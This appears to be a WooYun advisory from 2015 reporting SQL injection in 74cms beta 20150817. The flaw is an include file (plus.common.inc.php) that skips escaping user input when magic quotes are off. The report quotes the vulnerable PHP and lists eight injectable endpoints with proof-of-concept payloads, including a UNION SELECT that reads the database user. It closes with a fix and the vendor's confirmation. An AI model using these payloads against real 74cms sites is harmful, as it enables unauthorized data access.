当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137002

漏洞标题:74cms 20150817 设计缺陷导致8处不同文件注入(gpc=off)

相关厂商:74c,s.com

漏洞作者: ′雨。

提交时间:2015-08-26 10:50

修复时间:2015-11-24 10:58

公开时间:2015-11-24 10:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向第三方安全合作伙伴开放
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

直接出数据。

详细说明:

http://download.74cms.com/download/74cms_v3.6_beta_20150817.zip
下载地址。
74cms的全局文件是include/common.inc.php
其中里面有

if (!empty($_GET))
{
$_GET = help::addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = help::addslashes_deep($_POST);
}
$_COOKIE = help::addslashes_deep($_COOKIE);
$_REQUEST = help::addslashes_deep($_REQUEST);


但是当看到plus/ajax_common.php的时候
发现他包含的是

* ----------------------------------------------------------------------------
* 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和
* 使用;不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
define('IN_QISHI', true);
require_once(dirname(dirname(__FILE__)).'/include/plus.common.inc.php');
$act = !empty($_GET['act']) ? trim($_GET['act']) : '';


plus.common.inc.php 来看看

if(!defined('IN_QISHI')) exit('Access Denied!');
define('QISHI_ROOT_PATH', dirname(dirname(__FILE__)).'/');
error_reporting(E_ERROR);
require_once(QISHI_ROOT_PATH.'data/config.php');
ini_set('session.save_handler', 'files');
session_save_path(QISHI_ROOT_PATH.'data/sessions/');
session_start();
header("Content-Type:text/html;charset=".QISHI_CHARSET);
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
require_once(QISHI_ROOT_PATH.'include/common.fun.php');
PHP_VERSION > '5.1'?date_default_timezone_set("PRC"):'';
$timestamp = time();
$online_ip=getip();
$ip_address=convertip($online_ip);
$_CFG=get_cache('config');
$_PAGE=get_cache('page');
$_NAV=get_cache('nav');
$_CFG['wap_domain'] = $_CFG['wap_domain']==""?$_CFG['site_domain'].$_CFG['site_dir']."m":$_CFG['wap_domain'];
$_CFG['version']=QISHI_VERSION;
$_CFG['web_logo']=$_CFG['web_logo']?$_CFG['web_logo']:'logo.gif';
$_CFG['upfiles_dir']=$_CFG['site_dir']."data/".$_CFG['updir_images']."/";
$_CFG['site_template']=$_CFG['site_dir'].'templates/'.$_CFG['template_dir'];
execution_crons();


并没有对GET POST COOKIE 转义。。
导致了在gpc off的情况下 可闭合。
我把所有包含的是这个文件的都看了一下。
在plus/ajax_common.php中

elseif($act=="hotword")
{
if (empty($_GET['query']))
{
exit();
}
$gbk_query=trim($_GET['query']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$gbk_query=utf8_to_gbk($gbk_query);
}
$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
$list[]="'".$row['w_word']."'";
}
if ($list)
{
$liststr=implode(',',$list);
$str="{";
$str.="query:'{$gbk_query}',";
$str.="suggestions:[{$liststr}]";
$str.="}";
exit($str);
}
}


可注入。
最新版的防注入轻松过。
其他地方的注入代码都不分析了,一样的原理。

1.png


直接出数据。
1: localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword
2: localhost/web/74cms/plus/ajax_map.php?jobshow=key:::a'
3: localhost/web/74cms/plus/ajax_user.php?act=check_usname
POST:usname=a' and xxx
4: localhost/web/74cms/plus/ajax_street.php?act=alphabet&x=a' and o
5: localhost/web/74cms/m/plus/wap_ajax.php?act=ajaxjobslist&key=a'
6: localhost/web/74cms/m/connect_qq_client.php?act=binding_callback&openid=1' and
7: localhost/web/74cms/user/connect_qq_client.php?act=login_go&openid=a' and
8: localhost/web/74cms/user/plus/ajax_user.php?act=check_email
POST:email=a' and
都直接报错。

漏洞证明:

localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword

1.png

修复方案:

plus.common中也对GPC 转义

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-26 10:56

厂商回复:

感谢反馈!

最新状态:

暂无